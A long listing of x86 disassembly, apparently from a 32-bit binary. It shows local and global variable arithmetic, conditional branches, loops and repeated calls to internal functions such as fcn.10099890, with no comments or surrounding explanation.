mov dword [ebp - 0x9f4], esi
mov dword [ebp - 0xa00], ecx
mov dword [ebp - 0x9fc], edx
mov ecx, dword [ebp - 0x9f4]
cmp ecx, dword [ebp - 0x9fc]
jg 0x10049bcb
jl 0x10049bbf
mov edx, dword [ebp - 0x9f8]
cmp edx, dword [ebp - 0xa00]
ja 0x10049bcb
mov dword [ebp - 0x1e0], 1
jmp 0x10049bd5
mov dword [ebp - 0x1e0], 0
mov eax, dword [0x100cd088]
mov ecx, dword [0x100cd08c]
mov dword [ebp - 0xa08], eax
mov dword [ebp - 0xa04], ecx
mov edx, dword [ebp - 0xa08]
or edx, dword [ebp - 0xa04]
jne 0x10049c06
mov dword [ebp - 0x1dc], 1
jmp 0x10049c10
mov dword [ebp - 0x1dc], 0
movzx eax, byte [ebp - 0x13]
cmp dword [ebp - 0x1dc], eax
jge 0x10049c28
mov dword [ebp - 0x1e4], 1
jmp 0x10049c32
mov dword [ebp - 0x1e4], 0
mov ecx, dword [ebp - 0x1e0]
cmp ecx, dword [ebp - 0x1e4]
jne 0x10049c84
movzx edx, word [ebp - 0x20]
imul edx, dword [ebp - 0x38]
mov word [ebp - 0x20], dx
mov al, byte [0x100cd110]
mov byte [ebp - 0x13], al
mov eax, dword [ebp - 0x3c]
cdq
mov ecx, dword [0x100cd0a0]
sub ecx, eax
mov eax, dword [0x100cd0a4]
sbb eax, edx
mov dword [0x100cd0a0], ecx
mov dword [0x100cd0a4], eax
mov ecx, dword [ebp - 0x4c]
add ecx, 0xfc
mov word [ebp - 0x30], cx
jmp 0x10049e38
movzx eax, word [ebp - 0x24]
cdq
mov dword [ebp - 0xa10], eax
mov dword [ebp - 0xa0c], edx
mov edx, dword [ebp - 0x6c]
cmp edx, dword [ebp - 0xa10]
jne 0x10049cab
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0xa0c]
je 0x10049cb7
mov dword [ebp - 0x1e8], 1
jmp 0x10049cc1
mov dword [ebp - 0x1e8], 0
movzx ecx, word [ebp - 0x30]
mov edx, dword [ebp - 0x1e8]
not edx
sub edx, ecx
je 0x10049d46
imul eax, dword [ebp - 0x38], 0x4327fb6
movzx ecx, word [ebp - 0x18]
add ecx, eax
mov word [ebp - 0x18], cx
movsx edx, byte [0x100cd083]
shl edx, 1
mov word [0x100cd0dc], dx
movsx eax, byte [0x100cd083]
add eax, 0x9cb1
cdq
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
xor eax, eax
mov dword [0x100cd0a0], 0x3fac6d62
mov dword [0x100cd0a4], eax
movzx eax, word [ebp - 0x1c]
cdq
xor eax, dword [ebp - 0x54]
xor edx, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov ecx, dword [0x100cd100]
add ecx, 0x433d
mov edx, dword [0x100cd0a8]
or edx, ecx
mov dword [0x100cd0a8], edx
jmp 0x10049e38
movzx eax, word [ebp - 0x18]
test eax, eax
jne 0x10049d63
cmp dword [0x100cd090], 0
jne 0x10049d63
mov dword [ebp - 0x1ec], 0
jmp 0x10049d6d
mov dword [ebp - 0x1ec], 1
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x58]
movsx eax, byte [0x100cd083]
cdq
mov dword [ebp - 0xa18], eax
mov dword [ebp - 0xa14], edx
mov dword [ebp - 0xa20], ecx
mov dword [ebp - 0xa1c], esi
mov edx, dword [ebp - 0xa18]
cmp edx, dword [ebp - 0xa20]
jne 0x10049dbb
mov eax, dword [ebp - 0xa14]
cmp eax, dword [ebp - 0xa1c]
jne 0x10049dbb
mov dword [ebp - 0x1f0], 1
jmp 0x10049dc5
mov dword [ebp - 0x1f0], 0
mov ecx, dword [ebp - 0x1ec]
cmp ecx, dword [ebp - 0x1f0]
jne 0x10049e38
mov edx, dword [ebp - 0x54]
add edx, 0x28ab5644
mov dword [ebp - 0x3c], edx
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0xbc8], edx
movzx eax, word [0x100cd094]
cdq
sub eax, ecx
mov word [0x100cd094], ax
mov eax, dword [ebp - 0x60]
xor eax, 0x7f
xor ecx, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
movsx eax, byte [0x100cd083]
cdq
mov ecx, 8
imul ecx, ecx, 0x34
mov dword [ecx + 0x10419500], eax
mov dword [ecx + 0x10419504], edx
movsx edx, byte [str.6BlockUpgradeIfDriv]
add edx, 0x2d5130a7
mov dword [0x100cd090], edx
mov eax, dword [0x100cdb38]
mov dword [ebp - 0xcc], eax
cmp dword [0x100cd0a8], 0
je 0x10049eee
mov ecx, dword [ebp - 0x64]
sub ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [0x100cd0e4]
sub edx, 0x703efc62
mov word [ebp - 0x2c], dx
mov ecx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x44]
mov eax, dword [0x100cd100]
cdq
xor eax, dword [ebp - 0x80]
xor edx, dword [ebp - 0x7c]
add eax, ecx
adc edx, esi
movsx ecx, word [0x100cd0dc]
not ecx
movsx esi, byte [0x100cd096]
sub esi, ecx
imul esi, dword [ebp - 0x38]
xor ecx, ecx
push edx
push eax
push ecx
push esi
call fcn.10099890
mov byte [0x100cd06e], al
mov dword [0x100cd0ac], 0x85b15eb8
movsx edx, byte [0x100cd083]
test edx, edx
je 0x10049ec5
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1f4], eax
jmp 0x10049ed1
mov ecx, dword [0x100cd104]
mov dword [ebp - 0x1f4], ecx
mov dl, byte [ebp - 0x1f4]
mov byte [ebp - 0x13], dl
movsx eax, word [ebp - 0x28]
add eax, dword [0x100cd090]
mov byte [0x100cd027], al
jmp 0x10049f9d
movzx ecx, word [ebp - 0x30]
test ecx, ecx
jne 0x10049efe
movzx edx, byte [ebp - 0x14]
test edx, edx
je 0x10049f10
movzx eax, word [0x100cd0b8]
cmp eax, 0xef7d
jge 0x10049f9d
mov ecx, dword [0x100cd0e0]
and ecx, 0x9d9ed8ab
mov byte [0x100cd06e], cl
mov edx, 0x1065
mov word [ebp - 0x24], dx
mov eax, dword [0x100cd0e4]
sub eax, 0x84
mov dword [0x100cd104], eax
jne 0x10049f48
mov dword [ebp - 0x1f8], 1
jmp 0x10049f52
mov dword [ebp - 0x1f8], 0
movsx ecx, word [0x100cd0dc]
movzx edx, word [ebp - 0x1c]
not edx
imul edx, dword [ebp - 0x1f8]
xor edx, ecx
mov dword [0x100cd0c8], edx
movsx eax, byte [0x100cd06f]
movsx ecx, byte [ebp - 0x12]
sub ecx, eax
movsx edx, byte [ebp - 0x12]
add edx, ecx
mov byte [ebp - 0x12], dl
mov eax, dword [0x100cd090]
sub eax, dword [0x100cd0c8]
mov ecx, dword [0x100cd090]
add ecx, eax
mov dword [0x100cd090], ecx
mov edx, dword [ebp - 0xcc]
add edx, 0x17a
mov dword [ebp - 0x424], edx
movzx eax, byte [ebp - 0x20]
push eax
push 0xc4
push 0
movzx ecx, byte [0x100cd0a0]
push ecx
push 0xa8
push 0
call fcn.1005b9d0
add esp, 0x18
movzx eax, al
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
movsx edx, word [ebp - 0x2c]
movsx eax, word [0x100cd110]
add eax, dword [ebp - 0x3c]
cmp eax, edx
jge 0x1004a002
xor ecx, ecx
mov dword [ebp - 0x674], 1
mov dword [ebp - 0x670], ecx
jmp 0x1004a00d
xorps xmm0, xmm0
movlpd qword [ebp - 0x674], xmm0
mov edx, dword [ebp - 0x670]
cmp edx, dword [0x100cd11c]
jb 0x1004a180
ja 0x1004a033
mov eax, dword [ebp - 0x674]
cmp eax, dword [0x100cd118]
jb 0x1004a180
mov dword [ebp - 4], 2
movzx ecx, word [ebp - 0x1c]
movsx edx, word [0x100cd0dc]
imul edx, ecx
mov word [0x100cd0dc], dx
mov eax, dword [0x100cd0c0]
mov ecx, dword [0x100cd0c4]
mov dword [ebp - 0xa28], eax
mov dword [ebp - 0xa24], ecx
mov edx, dword [ebp - 0xa28]
or edx, dword [ebp - 0xa24]
je 0x1004a07f
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x1fc], eax
jmp 0x1004a08c
movsx ecx, word [0x100cd108]
mov dword [ebp - 0x1fc], ecx
mov eax, dword [ebp - 0x1fc]
cdq
mov dword [0x100cd0b0], eax
mov dword [0x100cd0b4], edx
mov byte [0x100cd047], 0xd7
mov edx, 1
imul eax, edx, 0x98d8
movsx cx, byte [eax + 0x10118650]
mov word [0x100cd0e8], cx
mov edx, dword [ebp - 0x70]
mov eax, 1
imul ecx, eax, 0x17fc
mov byte [ecx + 0x103dba78], dl
jmp 0x1004a16b
mov dword [ebp - 4], 0xffffffff
jmp 0x1004a17b
jmp 0x1004a3f7
movzx ecx, word [ebp - 0x20]
movsx edx, byte [0x100cd096]
cmp edx, ecx
jg 0x1004a219
mov eax, dword [ebp - 0x3c]
cdq
mov ecx, dword [ebp - 0x80]
sub ecx, eax
mov dword [0x100cd0a8], ecx
movzx eax, byte [0x100cd082]
cdq
mov ecx, 8
imul ecx, ecx, 0x3b6b
mov dword [ecx + 0x1045f730], eax
mov dword [ecx + 0x1045f734], edx
mov edx, 8
imul eax, edx, 0x2dd5
mov cx, word [eax + 0x103de430]
mov word [0x100cd110], cx
movsx eax, word [0x100cd0d8]
cdq
push 0x8f9ed
push 0xd7cbb166
push edx
push eax
call fcn.10099890
mov word [ebp - 0x2c], ax
mov edx, dword [ebp - 0x40]
add edx, 0xa252
mov dword [0x100cd0ac], edx
movzx eax, word [ebp - 0x24]
add eax, 0x66b8
mov byte [0x100cd096], al
jmp 0x1004a3f7
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0xa30], ecx
mov dword [ebp - 0xa2c], edx
cmp dword [ebp - 0xa2c], 0
jg 0x1004a24e
jl 0x1004a242
cmp dword [ebp - 0xa30], 0xbc
ja 0x1004a24e
mov dword [ebp - 0x200], 1
jmp 0x1004a258
mov dword [ebp - 0x200], 0
movzx eax, byte [ebp - 0x11]
cdq
mov dword [ebp - 0xa38], eax
mov dword [ebp - 0xa34], edx
mov eax, dword [0x100cd0a4]
cmp eax, dword [ebp - 0xa34]
jg 0x1004a292
jl 0x1004a286
mov ecx, dword [0x100cd0a0]
cmp ecx, dword [ebp - 0xa38]
ja 0x1004a292
mov dword [ebp - 0x204], 1
jmp 0x1004a29c
mov dword [ebp - 0x204], 0
mov edx, dword [ebp - 0x200]
sub edx, dword [ebp - 0x204]
je 0x1004a323
movsx eax, word [0x100cd0ec]
sub eax, 0x4e
cdq
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
movzx eax, byte [0x100cd07f]
mov ecx, dword [ebp - 0x70]
add ecx, eax
mov edx, dword [ebp - 0x70]
sub edx, ecx
mov dword [ebp - 0x70], edx
movsx eax, byte [0x100cd083]
movsx ecx, byte [0x100cd096]
lea edx, [ecx + eax + 0x3e6d0868]
mov byte [0x100cd096], dl
movsx eax, word [0x100cd0ec]
not eax
mov ecx, dword [ebp - 0x60]
not ecx
mov edx, dword [0x100cd084]
sub edx, ecx
xor edx, eax
xor eax, eax
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x68], eax
mov ecx, dword [0x100cd0d0]
sub ecx, 0xfaf501b2
mov dword [ebp - 0x64], ecx
jmp 0x1004a3f7
mov edx, dword [ebp - 0x3c]
cmp edx, dword [0x100cd0ac]
je 0x1004a33a
mov dword [ebp - 0x20c], 1
jmp 0x1004a344
mov dword [ebp - 0x20c], 0
movzx eax, byte [0x100cd027]
test eax, eax
jne 0x1004a35b
mov dword [ebp - 0x208], 1
jmp 0x1004a365
mov dword [ebp - 0x208], 0
mov ecx, dword [0x100cd084]
cmp ecx, dword [ebp - 0x208]
jb 0x1004a37f
mov dword [ebp - 0x210], 1
jmp 0x1004a389
mov dword [ebp - 0x210], 0
mov edx, dword [ebp - 0x20c]
cmp edx, dword [ebp - 0x210]
jg 0x1004a3f7
mov eax, dword [0x100cd0f8]
sub eax, 0xe63b1653
mov byte [0x100cd026], al
movzx eax, word [ebp - 0x20]
cdq
add eax, 0xb0239ee8
mov dword [ebp - 0x4c], eax
movzx ecx, byte [ebp - 0x13]
movzx edx, byte [ebp - 0x11]
add edx, ecx
mov byte [ebp - 0x11], dl
movzx eax, word [0x100cd10c]
imul ecx, eax, 0x645e0d25
mov word [0x100cd0b8], cx
movsx edx, word [0x100cd0ec]
not edx
mov eax, dword [0x100cd0ac]
sub eax, edx
add eax, 0x4a69
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov byte [0x100cd026], 0xa9
mov eax, dword [ebp - 0xcc]
add eax, 0x1aa
mov dword [ebp - 0x77c], eax
movsx ecx, byte [0x100cd026]
movzx edx, word [0x100cd094]
cmp edx, ecx
jle 0x1004a426
mov dword [ebp - 0x214], 1
jmp 0x1004a430
mov dword [ebp - 0x214], 0
movzx eax, word [0x100cd094]
cmp eax, 0x54
jle 0x1004a448
mov dword [ebp - 0x218], 1
jmp 0x1004a452
mov dword [ebp - 0x218], 0
mov ecx, dword [ebp - 0x214]
cmp ecx, dword [ebp - 0x218]
jg 0x1004a543
cmp dword [0x100cd0a8], 0
je 0x1004a481
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x67c], edx
mov dword [ebp - 0x678], eax
jmp 0x1004a495
mov ecx, dword [0x100cd0f0]
xor edx, edx
mov dword [ebp - 0x67c], ecx
mov dword [ebp - 0x678], edx
mov eax, dword [ebp - 0x67c]
mov dword [ebp - 0x64], eax
movzx ecx, byte [ebp - 0x14]
sar ecx, 2
mov word [ebp - 0x28], cx
mov edx, dword [0x100cd118]
or edx, dword [0x100cd11c]
je 0x1004a4c4
mov ax, word [ebp - 0x1c]
mov word [ebp - 0x94], ax
jmp 0x1004a4d2
mov cx, word [0x100cd0b8]
mov word [ebp - 0x94], cx
movzx edx, word [ebp - 0x94]
mov dword [0x100cd084], edx
mov eax, dword [0x100cd0c8]
cdq
add eax, dword [ebp - 0x78]
adc edx, dword [ebp - 0x74]
or eax, dword [ebp - 0x78]
or edx, dword [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
movsx eax, byte [0x100cd047]
cdq
push 0x52f90
push 0x3ccd47d4
push edx
push eax
call fcn.10099890
mov word [0x100cd0ec], ax
cmp dword [ebp - 0x4c], 0
je 0x1004a52b
movsx eax, byte [0x100cd047]
mov dword [ebp - 0x21c], eax
jmp 0x1004a535
movzx ecx, word [ebp - 0x18]
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0x21c]
mov dword [ebp - 0x38], edx
jmp 0x1004a67a
movzx eax, byte [0x100cd082]
movsx ecx, word [ebp - 0x2c]
not ecx
cmp ecx, eax
je 0x1004a560
mov dword [ebp - 0x220], 1
jmp 0x1004a56a
mov dword [ebp - 0x220], 0
movzx edx, word [ebp - 0x1c]
cmp edx, dword [ebp - 0x220]
jne 0x1004a5de
mov al, byte [0x100cd096]
sub al, 1
mov byte [0x100cd096], al
mov ecx, dword [0x100cd0e0]
add ecx, 0x3f736405
mov dword [ebp - 0x64], ecx
movzx edx, word [ebp - 0x20]
test edx, edx
je 0x1004a5a4
mov al, byte [ebp - 0x12]
mov byte [ebp - 0x8d], al
jmp 0x1004a5ad
mov cl, byte [ebp - 0x12]
mov byte [ebp - 0x8d], cl
movsx eax, byte [ebp - 0x8d]
cdq
mov dword [0x100cd0b0], eax
mov dword [0x100cd0b4], edx
mov edx, dword [ebp - 0x38]
add edx, 0x5a
mov dword [ebp - 0x4c], edx
mov eax, dword [0x100cd090]
sub eax, 0x528c7960
mov word [0x100cd0e8], ax
jmp 0x1004a67a
mov ecx, dword [ebp - 0x6c]
or ecx, dword [ebp - 0x68]
je 0x1004a67a
mov edx, dword [ebp - 0x58]
mov eax, dword [0x100cd088]
mov ecx, dword [0x100cd08c]
sub eax, dword [ebp - 0x5c]
sbb ecx, edx
mov edx, dword [0x100cd088]
mov esi, dword [0x100cd08c]
push ecx
push eax
push esi
push edx
call fcn.10099890
mov dword [0x100cd088], eax
mov dword [0x100cd08c], edx
movsx eax, word [0x100cd098]
cdq
add eax, dword [ebp - 0x78]
adc edx, dword [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
movsx eax, word [0x100cd0ec]
cdq
push 0xd7777
push 0x343fbe71
push edx
push eax
call fcn.10099890
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
movsx eax, word [0x100cd110]
mov ecx, dword [ebp - 0x4c]
sub ecx, eax
add ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xbcc], eax
xor edx, 0x672d
mov dword [0x100cd0c8], edx
mov ecx, dword [ebp - 0xcc]
add ecx, 0x157
mov dword [ebp - 0x778], ecx
movsx edx, word [0x100cd098]
imul eax, edx, 0xe7d0
mov dword [0x100cd104], eax
mov ecx, dword [0x100cd0f8]
or ecx, dword [0x100cd0fc]
jne 0x1004a6b8
mov dword [ebp - 0x224], 1
jmp 0x1004a6c2
mov dword [ebp - 0x224], 0
movsx edx, word [ebp - 0x28]
test edx, edx
jne 0x1004a6d6
mov dword [ebp - 0x228], 1
jmp 0x1004a6e0
mov dword [ebp - 0x228], 0
mov eax, dword [ebp - 0x224]
add eax, dword [ebp - 0x228]
jne 0x1004a6fa
mov dword [ebp - 0x22c], 1
jmp 0x1004a704
mov dword [ebp - 0x22c], 0
mov eax, dword [ebp - 0x4c]
not eax
sub eax, dword [ebp - 0x22c]
not eax
cdq
mov esi, eax
movzx eax, byte [ebp - 0x11]
cdq
mov edi, eax
mov ebx, edx
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
push edx
push ecx
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.10099890
not eax
not edx
push ebx
push edi
push edx
push eax
call fcn.10099890
add eax, esi
mov word [ebp - 0x30], ax
movsx edx, byte [str.6BlockUpgradeIfDriv]
mov eax, dword [ebp - 0x70]
add eax, edx
mov dword [ebp - 0x70], eax
mov dword [0x100cd0c8], 0x79cd806c
movsx ecx, byte [0x100cd096]
shl ecx, 6
mov dword [ebp - 0x3c], ecx
mov edx, dword [0x100cdb38]
mov dword [ebp - 0xdc], edx
movzx eax, word [0x100cd094]
movzx ecx, byte [ebp - 0x13]
movsx edx, word [ebp - 0x28]
sub edx, ecx
or edx, eax
movsx eax, byte [str.6BlockUpgradeIfDriv]
imul eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x64]
sub eax, edx
not eax
mov word [ebp - 0x34], ax
movsx ecx, word [ebp - 0x34]
sub ecx, dword [0x100cd100]
mov word [ebp - 0x34], cx
push 0x1506d
push 0x19895b07
mov edx, dword [ebp - 0x50]
push edx
mov eax, dword [ebp - 0x54]
push eax
call fcn.10099890
mov byte [0x100cd06e], al
mov ecx, 0x4413
mov word [ebp - 0x18], cx
mov edx, dword [ebp - 0xdc]
add edx, 0x2ec
mov dword [ebp - 0x50c], edx
mov dword [ebp - 0xd0], 0
jmp 0x1004a800
mov eax, dword [ebp - 0xd0]
add eax, 1
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x1cf
jge 0x1004a900
movsx eax, word [0x100cd0ec]
cdq
push edx
push eax
mov eax, dword [ebp - 0x4c]
cdq
push edx
push eax
call fcn.100604c0
add esp, 0x10
mov byte [ebp - 0x12], al
movsx ecx, byte [ebp - 0x12]
test ecx, ecx
jne 0x1004a83f
mov dword [ebp - 0x230], 1
jmp 0x1004a849
mov dword [ebp - 0x230], 0
movsx edx, byte [ebp - 0x12]
cmp edx, 0x33
jne 0x1004a85e
mov dword [ebp - 0x234], 1
jmp 0x1004a868
mov dword [ebp - 0x234], 0
mov eax, dword [ebp - 0x230]
cmp eax, dword [ebp - 0x234]
jge 0x1004a8ec
mov dword [ebp - 0xd4], 0
jmp 0x1004a891
mov ecx, dword [ebp - 0xd4]
add ecx, 2
mov dword [ebp - 0xd4], ecx
cmp dword [ebp - 0xd4], 0x36
jge 0x1004a8ec
mov edx, 0xffffd81f
mov word [0x100cd0e8], dx
movsx eax, word [0x100cd0ec]
shl eax, 7
mov byte [0x100cd083], al
movsx ecx, byte [str.6BlockUpgradeIfDriv]
sub ecx, dword [0x100cd0a8]
mov byte [str.6BlockUpgradeIfDriv], cl
mov dl, byte [ebp - 0x24]
mov byte [0x100cd06f], dl
mov ax, word [0x100cd098]
mov word [ebp - 0x20], ax
mov ecx, dword [0x100cd0ac]
add ecx, 1
mov dword [0x100cd0ac], ecx
jmp 0x1004a882
mov dl, byte [0x100cd026]
add dl, 1
mov byte [0x100cd026], dl
jmp 0x1004a7f1
mov eax, dword [ebp - 0xdc]
add eax, 0x201
mov dword [ebp - 0x7a8], eax
mov ecx, dword [0x100cd0d0]
or ecx, dword [0x100cd0d4]
jne 0x1004ac83
cmp dword [0x100cd0b0], 0x15
jne 0x1004a939
cmp dword [0x100cd0b4], 0
je 0x1004ac83
mov edx, dword [0x100cd084]
xor eax, eax
mov ecx, dword [0x100cd0c0]
mov esi, dword [0x100cd0c4]
mov dword [ebp - 0xa40], ecx
mov dword [ebp - 0xa3c], esi
mov dword [ebp - 0xa48], edx
mov dword [ebp - 0xa44], eax
mov edx, dword [ebp - 0xa3c]
cmp edx, dword [ebp - 0xa44]
jl 0x1004a98f
jg 0x1004a983
mov eax, dword [ebp - 0xa40]
cmp eax, dword [ebp - 0xa48]
jb 0x1004a98f
mov dword [ebp - 0x238], 1
jmp 0x1004a999
mov dword [ebp - 0x238], 0
mov ecx, dword [0x100cd0c0]
mov edx, dword [0x100cd0c4]
mov dword [ebp - 0xa50], ecx
mov dword [ebp - 0xa4c], edx
cmp dword [ebp - 0xa4c], 0
jl 0x1004a9d1
jg 0x1004a9c5
cmp dword [ebp - 0xa50], 0x19
jb 0x1004a9d1
mov dword [ebp - 0x23c], 1
jmp 0x1004a9db
mov dword [ebp - 0x23c], 0
mov eax, dword [ebp - 0x238]
cmp eax, dword [ebp - 0x23c]
jl 0x1004ac0d
mov dword [ebp - 0xd8], 0xa63
movsx ecx, byte [0x100cd026]
movzx edx, word [ebp - 0x18]
imul edx, ecx
add edx, 0x56e5
mov word [ebp - 0x30], dx
mov eax, dword [ebp - 0x40]
imul eax, dword [0x100cd104]
mov dword [ebp - 0x40], eax
movzx eax, word [ebp - 0x24]
cdq
mov ecx, 8
imul ecx, ecx, 0x5747
mov dword [ecx + 0x10419d18], eax
mov dword [ecx + 0x10419d1c], edx
movsx edx, word [0x100cd110]
shl edx, 4
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x6c]
or eax, dword [ebp - 0x68]
jne 0x1004aa59
mov dword [ebp - 0x240], 1
jmp 0x1004aa63
mov dword [ebp - 0x240], 0
movzx ecx, byte [ebp - 0x13]
xor edx, edx
sub edx, ecx
movsx esi, word [ebp - 0x28]
imul esi, dword [ebp - 0x38]
add esi, edx
xor edi, edi
mov ecx, dword [0x100cd088]
mov ebx, dword [0x100cd08c]
movzx eax, word [0x100cd0b8]
cdq
sub eax, ecx
sbb edx, ebx
movsx ecx, byte [ebp - 0x12]
not ecx
xor ecx, dword [ebp - 0x240]
mov dword [ebp - 0x994], eax
mov eax, ecx
mov dword [ebp - 0x990], edx
cdq
mov ecx, dword [ebp - 0x990]
push ecx
mov ecx, dword [ebp - 0x994]
push ecx
push edx
push eax
call fcn.10099890
push edi
push esi
push edx
push eax
call fcn.10099890
mov dword [0x100cd0e4], eax
cmp dword [ebp - 0xd8], 0x9e1
jle 0x1004ac0b
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xa58], edx
mov dword [ebp - 0xa54], eax
mov ecx, dword [ebp - 0xa58]
or ecx, dword [ebp - 0xa54]
je 0x1004ab82
movsx edx, word [0x100cd0e8]
movsx eax, word [0x100cd0ec]
sub eax, edx
movsx ecx, word [0x100cd0ec]
sub ecx, eax
mov word [0x100cd0ec], cx
movsx edx, byte [0x100cd047]
mov eax, dword [ebp - 0x40]
imul eax, edx
mov ecx, dword [ebp - 0x40]
add ecx, eax
mov dword [ebp - 0x40], ecx
mov edx, 1
imul eax, edx, 0x5b40
mov cl, byte [ebp - 0x24]
mov byte [eax + 0x10118650], cl
movsx eax, word [ebp - 0x34]
cdq
mov ecx, eax
mov esi, edx
add ecx, dword [0x100cd0d0]
adc esi, dword [0x100cd0d4]
movsx eax, word [ebp - 0x34]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov word [ebp - 0x34], ax
mov edx, dword [ebp - 0x3c]
add edx, 0xed4b
mov dword [0x100cd0ac], edx
jmp 0x1004abf7
movzx eax, byte [ebp - 0x13]
test eax, eax
je 0x1004abf7
movsx eax, word [0x100cd0dc]
add eax, 0xa6
cdq
mov dword [0x100cd118], eax
mov dword [0x100cd11c], edx
mov dword [ebp - 0x64], 0x9a
movsx eax, word [ebp - 0x28]
cdq
add eax, dword [ebp - 0x6c]
adc edx, dword [ebp - 0x68]
add eax, dword [ebp - 0x6c]
adc edx, dword [ebp - 0x68]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], edx
movzx ecx, byte [ebp - 0x11]
test ecx, ecx
jne 0x1004abd4
mov dword [ebp - 0x244], 1
jmp 0x1004abde
mov dword [ebp - 0x244], 0
movsx edx, word [ebp - 0x28]
xor edx, dword [ebp - 0x244]
mov word [0x100cd0ec], dx
mov eax, dword [0x100cdb38]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0xd8]
sub ecx, 1
mov dword [ebp - 0xd8], ecx
jmp 0x1004aacd
jmp 0x1004ac7e
movsx edx, word [0x100cd0d8]
test edx, edx
je 0x1004ac7e
movsx eax, byte [0x100cd047]
test eax, eax
je 0x1004ac2e
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x248], ecx
jmp 0x1004ac3b
movzx edx, byte [0x100cd082]
mov dword [ebp - 0x248], edx
mov al, byte [ebp - 0x248]
mov byte [0x100cd027], al
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0xbd0], edx
mov eax, dword [ebp - 0x54]
not eax
sub eax, dword [0x100cd0f8]
sub eax, ecx
mov word [ebp - 0x20], ax
imul ecx, dword [ebp - 0x70], 0x61
mov dword [0x100cd0e4], ecx
movsx edx, word [0x100cd110]
imul eax, edx, 0x34cb8e8e
mov word [ebp - 0x1c], ax
jmp 0x1004aef3
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x58]
movsx eax, byte [0x100cd083]
cdq
mov dword [ebp - 0xa60], eax
mov dword [ebp - 0xa5c], edx
mov dword [ebp - 0xa68], ecx
mov dword [ebp - 0xa64], esi
mov edx, dword [ebp - 0xa5c]
cmp edx, dword [ebp - 0xa64]
jl 0x1004acd3
jg 0x1004acc7
mov eax, dword [ebp - 0xa60]
cmp eax, dword [ebp - 0xa68]
jb 0x1004acd3
mov dword [ebp - 0x24c], 1
jmp 0x1004acdd
mov dword [ebp - 0x24c], 0
movzx ecx, byte [ebp - 0x14]
test ecx, ecx
je 0x1004acf1
mov dword [ebp - 0x250], 1
jmp 0x1004acfb
mov dword [ebp - 0x250], 0
mov edx, dword [ebp - 0x24c]
cmp edx, dword [ebp - 0x250]
jl 0x1004ae59
movzx eax, word [ebp - 0x18]
test eax, eax
jne 0x1004ad21
mov dword [ebp - 0x254], 1
jmp 0x1004ad2b
mov dword [ebp - 0x254], 0
movsx ecx, word [ebp - 0x28]
movzx edx, word [ebp - 0x30]
add edx, ecx
jne 0x1004ad43
mov dword [ebp - 0x258], 1
jmp 0x1004ad4d
mov dword [ebp - 0x258], 0
movzx eax, byte [0x100cd027]
movzx ecx, word [ebp - 0x20]
not ecx
add ecx, eax
not ecx
movzx edx, byte [0x100cd027]
sub edx, dword [ebp - 0x254]
not edx
xor edx, dword [ebp - 0x258]
sub edx, ecx
jne 0x1004ad83
mov dword [ebp - 0x25c], 1
jmp 0x1004ad8d
mov dword [ebp - 0x25c], 0
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x3c], eax
mov ecx, 0xf669
mov word [ebp - 0x24], cx
imul edx, dword [0x100cd0e4], 0xe52
xor eax, eax
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x58]
push eax
push edx
push esi
push ecx
call fcn.10099890
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
mov edx, dword [0x100cd088]
mov eax, dword [0x100cd08c]
add edx, 0xc3680e12
adc eax, 0
mov dword [0x100cd088], edx
mov dword [0x100cd08c], eax
mov ecx, dword [ebp - 0x60]
sub ecx, dword [ebp - 0x3c]
jne 0x1004adf3
mov dword [ebp - 0x260], 1
jmp 0x1004adfd
mov dword [ebp - 0x260], 0
movzx edx, word [ebp - 0x20]
movzx eax, word [0x100cd10c]
sub eax, edx
add eax, dword [ebp - 0x260]
cdq
mov ecx, dword [ebp - 0x74]
push ecx
mov ecx, dword [ebp - 0x78]
push ecx
push edx
push eax
call fcn.10099890
not eax
mov word [0x100cd0b8], ax
mov ecx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x44]
movzx eax, byte [0x100cd06e]
cdq
mov edi, eax
mov ebx, edx
add edi, ecx
adc ebx, esi
movzx eax, byte [0x100cd06e]
cdq
push ebx
push edi
push edx
push eax
call fcn.10099890
mov byte [0x100cd06e], al
jmp 0x1004aef3
mov edx, dword [0x100cd0a8]
xor eax, eax
mov dword [ebp - 0xa70], edx
